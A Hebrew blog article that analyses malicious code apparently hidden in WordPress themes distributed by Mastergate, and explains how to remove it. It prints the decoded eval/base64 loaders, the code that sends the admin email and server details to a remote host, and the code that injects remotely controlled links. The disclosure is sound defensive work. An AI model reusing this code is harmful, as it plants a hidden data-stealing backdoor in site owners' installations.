פרשיית Master Gate

מאת: ניצן ברומר ובוריס בולטיאנסקי

הקדמה

אחד החסרונות בלהיות דוברי עברית היא שכל התאמה של ערכת עיצוב מצריכה הרבה יותר עבודה עבור כתיבה מימין לשמאל. למרבה המזל יש בישראל לא מעט מפתחים שהחליטו להצטרף למאמץ ולתרגם את הערכות לטובת הקהילה. מצד שני, מסתבר שיש מספר מפתחים שהחליטו לתרגם ערכות על מנת לנצל אותן לטובתם האישית. אחד מהם הוא אתר מאסטרגייט אשר הזריק לכל הערכות בכל האתרים שלו קוד זדוני ומסוכן המאפשר לו להשתלט על הבלוג שלכם ולהכניס לשם תוכן משל עצמו.

חשוב להבין - מדובר בקוד מסוכן שמקבל גישה אל השרת שלכם ויכול (ואף עושה בפועל) לעשות בו כרצונו. היות והערכות יכולות להכיל פונקציות מלאות הוא אפילו יכול בעיקרון לקבל גישה מלאה אל הבלוג שלכם. **לכן, ולפני הכל - אם הבלוג שלכם מריץ ערכת עיצוב שהגיע מאחד האתרים הבאים - הסירו אותה עכשיו במידי ואז חיזרו לקרוא:**

- Mastergate.co.il
- Themes.org.il
- WPstore.co.il

איך הכל התחיל?

הכל התחיל כאשר מיטל, הבחורה מאחורי הבלוג "Lakim.net", גילתה שבפוטר של הערכה שלה, שהורדה מהאתר של מאסטרגייט, הופיעו לינקים שהיא לא שמה ולא רצתה בהם. ניסיון להסיר את הלינקים הללו הקפיץ הודעה שהאתר מפר זכויות יוצרים. זו, הייתה יריית הפתיחה - שכן מדובר בערכה המופצת תחת קוד GPL ולא רק שמותר לשנות בה את הקוד כאוות נפשנו, אלא שוודאי וודאי שאין למאסטרגייט שום זכויות יוצרים על הערכה.

צוללים לתוך הקוד

התקנתי את הערכה על שרת מקומי והתחלתי לחפש את ההתערבויות, היות ומדובר בערכה די נרחבת קיים סיכוי סביר שלא מצאתי את הכל, אבל פה יש תיעוד של מה שמצאתי. ההתחלה הייתה בקוד ה-footer, שם נמצא קוד ה-PHP הבא:

```
eval(base64_decode("d3BfY2FjaGUoKTs="));
```

כאשר פתחנו את הקידוד נמצאה בתוכו הפונקציה:

```
wp_cache();
```

לא ראינו שום סיבה להעלים את פונקציית ה-cache אך ברגע שזו הוסרה הופיעה לפתע הודעה המכריזה כי האתר מפר זכויות יוצרים. המקום הבא לחפש בו היה קובץ ה functions.php, זהו קובץ שנטען ביחד עם הערכה ומיועד לפונקציות יעודיות של המפתח. ואכן, בתוך הקובץ הלז, נמצאה שורה דומה:

```
eval(stripslashes(base64_decode("קוד זדוני ארוך פה"));
```

כאשר מסירים את קידוד ה-Base64, ניתן לקרוא את הקוד ביתר קלות, ולפניכם ההסבר:

```
function wp_get_header() {
   if(function_exists('wp_get_footer') &&
      function_exists('wp_cache_verify') &&
      function_exists('wp_cache')) {
         get_header();
   }
}
function wp_get_footer() {
   get_footer();
   wp_cache_verify(\"wp_cache();\");
}
```

כמו שרואים, נעשה שימוש בפונקציות wp_get_header() ו-wp_get_footer() שנראות כאילו שהן פונקציות מובנות של וורדפרס. הבעיה היא שהן לא. למעשה הן מכילות בדיקות שהפונקציות של הקוד הזדוני נמצאות במערכת.

לאחר מכן, מתבצעת בדיקה של הימצאות הקוד הזדוני בתוך הקבצים שבהם הוא נשתל:

```
$t['template'] = pathinfo(get_bloginfo('template_directory'));
$credit_violation = "";
$footer = TEMPLATEPATH."/footer.php";
$handle = @fopen($footer, "r");
$footer = @fread($handle, @filesize($footer));
fclose($handle);
$funcs = TEMPLATEPATH."/functions.php";
$handle = @fopen($funcs, "r");
$funcs = @fread($handle, @filesize($funcs));
fclose($handle);
```

השלב הבא הוא שלב מאוד יפה. מתבצעת בדיקה, שמטרתה לגלות שכל החלקים של הקוד הזדוני במקום ולא עברו שינויים שנראו חשובים למי שכתב אותו. לכל שינוי או תוצאה ניתן מספר שלפיו ניתן יהיה לגלות איזה חלק בקוד שונה או הוסר:

```
if($footer && $funcs) {
   if(substr_count("$footer", "mastergate.co.il") < "2") {
      $credit_violation = "1";
   }
   if(substr_count("$footer", "eval") != "1") {
      $credit_violation = "2";
   }
   if(substr_count("$footer", "base64_decode") != "1") {
      $credit_violation = "3";
   }
   if(substr_count("$footer", "$cache") != "1") {
      $credit_violation = "4";
   }
   if(substr_count("$funcs", "eval") < "1") {
      $credit_violation = "5";
   }
   if(substr_count("$funcs", "base64_decode") < "1") {
      $credit_violation = "6";
   }
   if(substr_count("$funcs",
"ICAgICAgICBldmFsKGJhc2U2NF9kZWNvZGUoIloyeHZZbUZzSUNSZlUwVlNWa1ZTTENBa1gwZEZW") < "1") {
      $credit_violation = "7";
   }
   if(substr_count("$funcs",
"R1ExWVRnNE5USmNJaWtnZXdvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnYVdZb0pHTmhZMmhsY2w5MGFX") < "1") {
      $credit_violation = "8";
   }
   if(substr_count("$funcs",
"ICAgICAgICBldmFsKHN0cmlwc2xhc2hlcyhiYXNlNjRfZGVjb2RlKCJJQ0FnSUNBZ0lDQWtkRnNu") < "1") {
      $credit_violation = "9";
   }
   if(substr_count("$funcs",
"ICAgICAgICBnZXRfZm9vdGVyKCk7CiAgICAgICAgd3BfY2FjaGVfdmVyaWZ5KFwiZDNCZlkyRmphR1VvS1RzPVwiKTs=") < "1") {
      $credit_violation = "10";
   }
   if(!function_exists('wp_cache_http')) {
      $credit_violation = "11";
   }
   if(!WP_CACHE_VERSION) {
      $credit_violation = "12";
   }
} else {
   $credit_violation = "0";
}
```

בשלב הבא, הקוד אוסף מידע ומכניס אותו למערך. ברשותכם, אני רוצה לעבור על החלק הזה שורה אחרי שורה:

```
$wp_counts = wp_count_posts(\'post\');
```

שורה זו שומרת במשתנה את מספר הפוסטים שנכתבו בבלוג. לא רק כאלה שפורסמו, אלא כל הפוסטים.

```
$t[\'qs\'] = \"?x=\".time();
```

שורה זו שומרת את ערך הזמן של השרת, ולמעשה אומרת לנו, אם אחראי השרת קינפג אותו כמו שצריך, מה התאריך והשעה המדוייקים.

```
$t[\'qs\'] .= \"&version_wp=\".get_bloginfo(\'version\');
```

שורה זו שומרת את הגרסה של וורדפרס. ככל שהגרסה של ה-WordPress שלכם ישנה יותר, ככה יש יותר סיכוי שיפרצו אליכם לבלוג.

```
$t[\'qs\'] .= \"&version_php=\".phpversion();
```

שורה זו שומרת את הגרסה של PHP. מידע זה יכול לתת לנו מושג כללי מה אני יכול ומה אני לא יכול לעשות בשרת, וכן לספק "מודיעין" על רמת ההגנה של השרת. פרט מידע זה אינו תמיד זמין לגולש המזדמן.

```
$t[\'qs\'] .= \"&wp_template=\".$t[template][filename];
```

שורה זו שומרת את השם של התיקיה שבה שמורה ערכת העיצוב הנוכחית. ככה, אם הקוד הזדוני נמצא ביותר מערכת עיצוב אחת, ניתן לדעת באיזה ערכה בדיוק.

```
$t[\'qs\'] .= \"&wp_posts=\".$wp_counts->publish;
```

שורה זו לוקחת את המשתנה שמכיל את מספרם של כל הפוסטים שיש לנו בבלוג, ושומרת מתוכם רק את מספר הפוסטים שפורסמו. זהו מדד טוב לכמה שהבלוג מתעדכן בתדירות כזאת או אחרת. בנוסף, קיימת, לכאורה, הפרה של זכויות יוצרים, מספר זה נותן מידע על מספר העמודים שבהם מתרחשת הפרה זו.

```
$t[\'qs\'] .= \"&admin_email=\".get_bloginfo(\'admin_email\');
```

שורה זאת שומרת את כתובת האימייל של המשתמש שמוגדר כמנהל בבלוג. מדובר בפרט מידע שלא ניתן לדלות אותו מביקור פשוט בבלוג. פוטנציאלית, אם הקוד הזדוני הזה רץ על גבי אלף בלוגים, אז למפעיל הקוד ישנן אלף כתובות דואר אלקטרוני הידועות כפעילות ונמצאות בשימוש במידה כזאת או אחרת. כאן זה גם המקום להזכיר, שכפי שלא מומלץ לעבור תמיד ממשתמש ה-root, כך גם בוורדפרס, מומלץ ליצור משתמש נוסף שאינו מנהל ולעבוד ממנו בכל עת שאתם לא זקוקים להרשאות המלאות שגישת המנהל מאפשרת.

```
$t[\'qs\'] .= \"&violation=\".$credit_violation;
```

זוכרים את מספר ההפרה שדיברנו עליו מקודם? גם מספר זה נשמר.

```
$t[\'qs\'] .= \"&request_uri=\".$_SERVER[\'REQUEST_URI\'];
```

כאן הקוד פונה לשרת ומבקש ממנו את הכתובת היחסית ביחס לתיקיה ה-/ שזמינה לגישה דרך האינטרנט.

```
$t[\'qs\'] .= \"&domain=\".$_SERVER[\'SERVER_NAME\'];
```

וכאן הקוד מבקש את שם השרת או יותר נכון את הכתובת שלו. הפקודה הזאת והפקודה הקודמת משיגים לנו ביחד את הכתובת הישירה של הדף.

לאחר שכל המידע הזה נאסף, כל המידע במערך $t מקודד, ומוכנס למחרוזת שמכילה כתובת של שרת, תיקיה על השרת, וסיומת html., במילים אחרות, הקוד מייצר כתובת של דף html שיושב על שרת מרוחק, כאשר הכתובת מורכבת מכל הפרטים שנאספו מהבלוג שלו.

לפני שנמשיך, קצת מידע שיסייע להבין מה זה ולמה זה טוב. אם ננסה להכנס לרגע לראשו של כותב קוד זדוני, המטרה היא להצליח לבצע את הפעולה. במקרה הזה, נראה שקיימת תקשורת, ובשלב הזה של ניתוח הקוד, חד כיוונית, לכאורה, עם שרת מרוחק. מובן מאליו שהקובץ שהקוד מייצר מתוך פרטי המידע של הבלוג שלנו לא באמת קיים. אבל בגלל האופן שבו שרתי אינטרנט מדברים זה עם זה, אנחנו יכולים לצפות למצב שנפנה לשרת כדי לדרוש את הקובץ הזה, למשל באמצעות פקודת GET. השרת יחזיר לנו תגובה כזאת או אחרת. ניתן לשנות את התגובות הללו ולהתאים אותן למה שאנחנו מצפים להשיג באמצעותן. ניתן גם להגדיר את השרת המרוחק שישמור את כל הפניות הללו (כפי שאנחנו יכולים לצפות במידע סטטיסטי על הגולשים שנכנסו לאתר שלנו), ומכיוון שהן כולן באות במבנה מוגדר, ניתן לשלוף מתוך, ובמקרה שלפנינו, באמצעות base64_decode, את המידע הזה. זוכרים את הסיפור על יצרניות תוכנה לסלולר ששמרו מידע על מיקום המכשירים והעבירו אותו לשרתי היצרניות? אז משהו כזה.

ממשיכים. בשלב הזה, הקוד בודק האם התקבל ערך של הפרת זכויות יוצרים (אם הפונקציה שמקצה את הערכים הללו סיימה לרוץ מקודם, תמיד יהיה איזשהו ערך, בפרט, במידה ואין הפרה, מבחינת האופן שזה מוגדר בקוד, יוחזר 0). מתבצעת פנייה לפונקציה שעושה את שדיברנו עליו למעלה. עוד נחזור אליה. לאחר מכן מתבצעת בדיקה של הימצאות כל חלק הקוד הזדוני, ובמידה וקיים הבדל בין מה שצריך להיות לבין מה שנמצא בפועל, מוצג באנר אדום בתחתית המסך שמכריז כי "אתר זה הפר את זכויות היוצרים בתבנית":

```
if($credit_violation != "") {
   if(function_exists('wp_cache_http'))
      wp_cache_http("$t[action]");
   $cache = $output_cache;
   if($cache) {
```

```
        if($cache = @base64_decode($cache)) {
            $cache = @unserialize($cache);
            echo "$cache[html_reply]";
        }
    } else {
        echo '<div style="position: fixed; bottom:0; left:0; width:100%;
              height: 25px; background-color: red; color: white;
              font-size: 16px; padding: 3px 10px; text-align: center;">
              <strong>תבנית זאת הוסבה לעברית ע"י <a href="http://www.masterga
              te.co.il/" style="color: white;">מאסטרגייט</a>. אתר זה הפר את
              זכויות היוצרים בתבנית. חזרה ל<a href="http://www.mastergate.co.il/"
              style="color: white;">וורדפרס בעברית</a></strong></div>';
        echo "<!-- violation: $credit_violation -->";
    }
}
```

לא ברור מה המימד המשפטי של טענה זו, בפרט אם התבנית מופצת במקור (לפני התרגום) תחת רשיון GPL, אבל זהו לא מאמר משפטי וגם הכותב אינו משפטן.

אחד הדברים שהרשימו אותי בקוד הזה, הוא שכל שלב בודק ומוודא שהשלבים הדרושים להצלחתו התקיימו אף הם בהצלחה. אין לי דרך לקבוע זאת בשום מידה של וודאות, אבל אפשר שכתיבת הקוד שמגן על התבנית מפני הסרת הקרדיט, לקח זמן רב בכמה סדרי גודל מאשר הזמן שנדרש על-מנת להתאים את התבנית לעברית. במידה ויצירת הכתובת לשרת המרוחק הצליחה, הקוד שולח בקשת GET לאותו שרת מרוחק, ושומר את התגובה שהוא מקבל. בעצם מתבצעת השוואה בין הקוד שנשלח לקוד שהתקבל. ייתכן וזאת עוד דרך לבדוק האם לא חסמתי את הקוד מפני תקשורת בלתי מוגבלת לשרת המרוחק שלו:

```
if(!$cache) {
    $pos = strpos($url, '/', 7);
    $parsed_url['uri'] = substr($url, $pos);
    $parsed_url['host'] = str_replace("http://", "", substr($url, 0,
$pos));
    $fp = @fsockopen("$parsed_url[host]", 80, $errno, $errstr, 1);
    if(!$fp) {
        $error = "1";
    } else {
        $cache = "";
        $request = "GET $parsed url[uri] HTTP/1.1\r\n";
        $request .= "Host: $parsed_url[host]\r\n";
        $request .= "Referer: $_SERVER[SERVER_NAME]\r\n";
        $request .= "Connection: Close\r\n\r\n";
        fwrite($fp, $request);
        while (!feof($fp)) {
            $cache .= fgets($fp, 9216);
        }
        fclose($fp);
        if(substr_count($cache, "\n\r") >= 1) {
            $cache = explode("\n\r", "$cache");
```

```
            $cache = str_replace(array("\r","\n"), "", "$cache[1]");
        }
    }
}
$output_cache = $cache;
```

ואז מגיע השלב שבו העניינים באמת מתחילים להיות מעניינים:

```
$t[\'dir_upload\'] = wp_upload_dir();
```

הקוד שומר במשתנה את התיקיה שמשמשת להעלאת קבצים מערכת העיצוב. משמעות הדבר היא שפקודות שמופעלות מתוך ערכת העיצוב יכולות לכתוב לתוך תיקיה שנמצאת על השרת שלי. אבל הקוד שאנחנו מנתחים הוא חלק מהקוד של ערכת העיצוב, ולמה שהוא יזדקק לגישה לתיקיה שאפשר לכתוב אליה? האם הוא רוצה לכתוב קבצים לתיקיה כלשהי על השרת שלי?

בשלב הזה הקוד שוב מבצע קריאה לשרת המרוחק, ושומר את התגובה. לאחר מכן, הוא מייצר קובץ עם סיומת jpg, מכניס אליו את המידע שהוא משך מן השרת המרוחק, קורא לו בשם שנגזר מפרטי השרת שלי, ושומר אותו בתיקיית ההעלאות. לאחר שסיים לעשות זאת, הוא מושך את התוכן השמור בקובץ לתוך משתנה:

```
$cacher_filename = substr(md5("$_SERVER[SERVER_NAME]"), 0, 10).".jpg";
$cacher_path = $t['dir_upload']['path']."/$cacher_filename";
$cacher_time = @filemtime($cacher_path);
$cacher_life = "3600";
if (!$cacher_time || ((time()-$cacher_time) >= $cacher_life)){
 wp_cache_http("$t[action]");
 $cache = $output_cache;
 if($cache) {
  $handle = @fopen($cacher_path,"x+");
  @fwrite($handle,$cache);
  @fclose($handle);
 }
} else {
 $cache = @file_get_contents($cacher_path);
}
```

היות ומדובר בקוד שאמור לרוץ בכל טעינה של footer.php, ישנה הגדרה שמטרתה למנוע מהקוד לרוץ בכל פעם, אלא רק במרווחי זמן קבועים (זה התנאי שבקטע הקוד למעלה).

נעשה סיכום קצר. עד עכשיו הקוד הזה, הספיק לבחון את תקינותו, לדבר עם שרת מרוחק ולדווח לו על פרטי השרת שלי (וגם אם לא, זה בהחלט אפשרי, כפי שכבר תיארתי למעלה), להוריד מידע מהשרת המרוחק, ולשמור מידע זה במשתנה. השלב הבא, הוא כצפוי, לעשות שימוש במידע השמור במשתנה:

```
if($cache) {
   if($cache = @base64_decode($cache)) {
      $cache = @unserialize($cache);
      if(strlen($cache[custom_credit]) >= 5) {
         $t['default_string'] = "$cache[custom_credit]";
      }
      if($cache['status'] == "0") {
         $cache_error = "1";
         $cache_lock = "1";
      } else {
         $total_links = sizeof($cache['links']);
         $links = "$t[default_string]";
         if($total_links > 0) {
            $i = "0";
            foreach($cache['links'] as $k => $v) {
               $i++;
               if($v->l_path == "" || $v->l_path == $_SERVER['REQUEST_URI'])
               {
                  $v->l_href = htmlspecialchars(strip_tags($v->l_href));
                  $v->l_title = htmlspecialchars(strip_tags($v->l_title));
                  $v->l_anchor = htmlspecialchars(strip_tags($v->l_anchor));
                  $links .= " | ";
                  $links .= "<a class='mglnk_l$v->lid' href='$v->l_href'
                              title='$v->l_title'";
                  if($v->l_nofollow == "1")
                     $links .= " rel='nofollow'";
                  $links .= ">$v->l_anchor</a>";
               }
            }
         }
         $t['links'] = "$links";
         if($cache[credit] == "0") {
            $t['links'] = "";
         }
      }
   } else {
      $cache_error = "1";
   }
} else {
   $cache_error = "1";
}
```

המידע, ובמקרה הזה אוסף של לינקים, והמזהים שלהם, הופך לקוד HTML ונשמר במחרוזת. מחרוזת זו מחליפה את המחרוזת שהייתה שם קודם ומחזיקה את הפרטים של מתרגם התבנית והלינקים שהגיעו עם התבנית. או משאירה את המצב כפי שהיה, במידה והפעולה שלה נכשלת:

```
if($cache_error == \"1\") {
   $t[\'links\'] = \"$t[default_string]\";
}
if($cache_lock == \"1\") {
   if($cache[\'lock_html\'] != \"\") {
      //$t[\'links\'] = \"$cache[lock_html]\";
      $t['links'] = "$cache[lock_html]";
   } else {
      $t[\'links\'] = \'<div style=\"position: fixed; bottom:0; left:0;
                       width:100%; height: 25px; background-color: red;
                       color: white; font-size: 16px; padding: 2px 10px;
                       text-align: center;\"><strong>
                       %u05EA%u05D1%u05E0%u05D9%u05EA %u05D6%u05D0%u05EA
                       %u05D4%u05D5%u05E1%u05D1%u05D4
                       %u05DC%u05E2%u05D1%u05E8%u05D9%u05EA %u05E2\"%u05D9
                       <a href=\"http://www.mastergate.co.il/\"
                       style=\"color: white;\">
                       %u05DE%u05D0%u05E1%u05D8%u05E8%u05D2%u05D9%u05D9%u05D8

                      </a>. %u05D0%u05EA%u05E8 %u05D6%u05D4
                      %u05D4%u05E4%u05E8 %u05D0%u05EA
                      %u05D6%u05DB%u05D5%u05D9%u05D5%u05EA
                      %u05D4%u05D9%u05D5%u05E6%u05E8%u05D9%u05DD
                      %u05D1%u05EA%u05D1%u05E0%u05D9%u05EA.
                      %u05D7%u05D6%u05E8%u05D4 %u05DC<a
                      href=\"http://www.mastergate.co.il/\" style=\"color:
                      white;\">%u05D5%u05D5%u05E8%u05D3%u05E4%u05E8%u05E1
                      %u05D1%u05E2%u05D1%u05E8%u05D9%u05EA</a></strong>
                      </div>\';
      $t['links'] = '<div style="position: fixed; bottom:0; left:0;
                       width:100%; height: 25px; background-color: red;
                       color: white; font-size: 16px; padding: 2px 10px;
                       text-align: center;"><strong>תבנית זאת הוסבה לעברית ע"י <a
                       href="http://www.mastergate.co.il/" style="color:
                      white;">מאסטרגייט</a>';
   }
}
```

והתוכן של הלינקים החדשים עם הקרדיט הישן, מודפס למשתמש:

```
echo \"$t[links]\";
```

כמו שראינו עד כה, הקוד, בפועל, משמש להתקנת לינקים פירסומיים במערכת, אך מבלי לשנות בו כלום, יוצריו יכולים להשתמש בו כדי להכניס כל קוד זדוני אחר. ודרכו להשתלט על המערכת והשרת.

איך ניתן להסיר את הקוד?

יש שתי דרכים לפתור את הבעיה הזו, האחת ארוכה ויסודית ושולחת את המפתח לפתוח את הדחיסה ולקרוא את תכולת הקובץ. השניה, קלה יותר ומהירה יותר - להציץ בדוח השגיאות של שרת ה-apache. על אובונטו עושים את זה על ידי שימוש ב:

```
tail -f /var/log/apacge/error.log
```

הפונקציה tail "מציצה" למעשה אל סוף הקובץ הנקוב והפרמטר f אומר לפונקציה לעקוב אחרי שינויים בקובץ ולהדפיס אותם אל המסך. התוצאה אגב היא - בכל פעם שיש הודעת שגיאה היא תודפס בטרמינל. לאחר הקלדת הפקודה וריענון העמוד קיבלתי את הודעת השגיאה הבא:

```
Fatal error: Call to undefined function wp_get_header() in
/home/[user]/www/wordpress/wp-content/themes/des/index.php on line 1
```

אכן, הקובץ index.php הכיל קריאה לפונקציה wp_get_header רק שזו אינה פונקציה של וורדפרס. הפונקציה של וורדפרס היא - get_header החלפתי את הפונקציה ב-get_header והמשכתי הלאה. הודעת השגיאה הבאה שהתקבלה היא:

```
Fatal error: Call to undefined function wp_loaded() in
/home/[user]/www/wordpress/wp-content/themes/des/header.php on line 1
```

הפונקציה הזו אינה מוכרת לי אבל אכן בקובץ ה-header.php נמצאה בדיקה בנוסח הבא:

```
<?php if (wp_loaded() === true) { ?>
```

הודעת השגיאה הבאה הייתה:

```
Parse error: syntax error, unexpected '}' in
/home/nitzan/www/wordpress/wp-content/themes/des/header.php on line 72
```

ואלו היו הסוגריים המסולסלים שסוגרים את הבדיקה של הפונקציה הקודמת. לאחר ההסרה, חזר הבלוג לעבוד אבל ה-footer לא הופיע יותר. בדיקה בקובץ index.php הראתה קריאה אל:

```
wp_get_footer();
```

שבדיוק כמו במקרה הראשון - זו אינה הפונקציה המקורית אלא הסוואה שלה שכן, הפונקציה המקורית היא:

```
get_footer();
```

לאחר שינוי הפונקציה חזרה הערכה לעבוד בשלמותה בעמוד הראשי אבל דפים פנימיים חזרו להקפיץ הודעות שגיאה. לצורך כך, על מנת להימנע מבדיקה של כל הערכה, הוספתי אל קובץ functions.php את הפונקציות הבאות:

```
function wp_get_header(){get_header();}
function wp_get_footer(){get_footer();}
```

```
function wp_loaded(){return true;}
```

ובכך הסתכם הטיפול בערכה והיא חזרה לעבוד מבלי הקוד הזדוני שהושתל על ידי מאסטרגייט. מדגימה של מספר ערכות באתר של מאסטרגייט ובאתר themes.org.il עלה כי בכולן הושתל קוד זדוני שכזה או דומה. ראוי לציין כי גם האתר wpstore.co.il הוא בבעלותו של מאסטרגייט, ואני מניח כי את אותם הקודים ניתן למצוא גם שם.

סיכום

הזכויות לתרגום ערכה נגזרות מהיותה GPL ולכן מחייבות הפצה כ-GPL, אם הוכנס "כל הזכויות שמורות" זה כבר דגל שאמור להחשיד. ככלל, ערכות עדיף ורצוי תמיד להוריד ממקורות בטוחים. רצוי תמיד לחפש את שם הערכה בגוגל, ברוב המקרים זה יוביל אתכם אל המקור. רצוי להוסיף שמאסטרגייט לא המציא את הגלגל, ראיתי קודים כאלה גם קודם באתרים אחרים ולפחות ערכה אחת שמצויה באתרו היא ערכה שבמקור הכילה קוד הגנה על זכויות יוצרים של המפתח - שהוסר והוחלף על ידי הקוד של מאסטרגייט.

הנוהג של השתלת לינקים על זכויות העברות הוא לא גם יחודי למאסטרגיט, ראיתי את זה במספר אתרים אחרים, מה שבטוח, כולם טוענים שהסרה של הקודים הן הפרה של זכויות היוצרים, רצוי לזכור שהתרגום נעשה מתוקף היות הערכה GPL ולכן, כחלק מהחוקים של GPL אין שום מניעה ואיסור וזו אף זכותכם המלאה להסיר את התוספות הללו מהקוד.

קריאה לפעולה

אם קניתם ערכה אצל אחת מחנויות הערכות הישראליות - אנא צרו איתי קשר במייל:
nitzanb(at)gmail.com

אני רוצה לבדוק עד כמה הנוהג הזה נפוץ ולעדכן.

המאמר פורסם במקור כשני פוסטים בבלוג של ניצן ברומר ונכתב על ידי ניצן ברומר ובוריס בולטיאנסקי:

- http://n2b.org/archives/2316
- http://n2b.org/archives/2330

בנוסף, פורסמה ב-Ynet כתבה בנושא:

- http://www.ynet.co.il/articles/0,7340,L-4180198,00.html